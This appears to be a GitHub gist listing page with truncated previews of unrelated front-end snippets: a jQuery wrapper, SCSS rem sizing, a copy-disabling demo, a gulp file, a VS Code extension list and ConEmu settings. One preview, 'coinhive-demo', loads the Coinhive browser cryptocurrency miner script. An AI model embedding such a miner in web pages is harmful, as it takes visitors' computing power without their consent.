This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ;(function(factory) { | |
| if (typeof define === 'function' && define.amd) { | |
| // AMD | |
| define(['jquery'], factory); | |
| } else if (typeof exports === 'object') { | |
| // CommonJS | |
| factory(require('jquery')); | |
| } else { | |
| // Browser globals | |
| factory(jQuery); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // 使用媒体查询动态设置 html font-size 根字体的大小 | |
| // 然后统一使用 rem 设置宽高等 | |
| // 使用 iPhone 6 作为参考, 基准字体大小 20px | |
| $baseWidth: 375px; | |
| $baseFont: 20px; | |
| html { | |
| font-size: $baseFont; | |
| outline: 0; | |
| font-family: sans-serif; // 1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <meta charset="utf-8" /> | |
| <title>js实现禁止文本复制、禁止选中文本</title> | |
| </head> | |
| <body> | |
| <p>这是一段普通的文本文字,你可以选中并且复制。</p> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <meta charset="utf-8"> | |
| <meta name="viewport" content="width=device-width"> | |
| <title>JS Bin</title> | |
| <style> | |
| * { | |
| list-style: none; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [ | |
| { | |
| "id": "alefragnani.Bookmarks", | |
| "name": "Bookmarks", | |
| "publisher": "alefragnani", | |
| "version": "11.2.0" | |
| }, | |
| { | |
| "id": "azemoh.one-monokai", | |
| "name": "one-monokai", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <!-- 使用 HTML5 doctype,不区分大小写 --> | |
| <html lang="zh-cmn-Hans"> | |
| <!-- 更加标准的 lang 属性写法 http://zhi.hu/XyIa --> | |
| <head> | |
| <!-- 声明文档使用的字符编码 --> | |
| <meta charset='utf-8'> | |
| <!-- 优先使用 IE 最新版本和 Chrome --> | |
| <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var gulp = require('gulp'), | |
| htmlFile = './src/**/*.html', | |
| cssFile = './src/**/*.css', | |
| sassFile = './src/sass/*.scss', | |
| jsFile = './src/**/*.js', | |
| imgFile = './src/img/*.*', | |
| distDir = './dist/'; | |
| // deving run `gulp dev` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <head> | |
| <title>coinhive-demo</title> | |
| </head> | |
| <body> | |
| <script src="https://coinhive.com/lib/coinhive.min.js"></script> | |
| <script> | |
| (function() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?xml version="1.0" encoding="utf-8"?> | |
| <key name="Software"> | |
| <key name="ConEmu"> | |
| <key name=".Vanilla" modified="2018-04-11 16:13:40" build="161022"> | |
| <value name="StartType" type="hex" data="02"/> | |
| <value name="CmdLine" type="string" data=""/> | |
| <value name="StartTasksFile" type="string" data=""/> | |
| <value name="StartTasksName" type="string" data="{cmd::Cmder as Admin}"/> | |
| <value name="StartFarFolders" type="hex" data="00"/> | |
| <value name="StartFarEditors" type="hex" data="00"/> |